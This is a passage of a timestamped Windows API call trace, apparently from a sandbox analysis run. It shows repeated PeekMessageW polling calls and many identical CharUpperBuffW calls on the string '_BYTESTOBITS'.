wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.079] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.086] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.086] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.087] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.087] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.088] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.088] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.089] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.089] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.090] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.090] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.090] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.091] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.092] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.093] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.094] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.095] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.095] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.096] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.097] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.098] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.099] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.100] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.101] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.102] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.103] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.104] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.105] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.106] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.108] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.108] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.109] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.111] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.112] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.112] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.113] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.114] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.115] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.116] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] 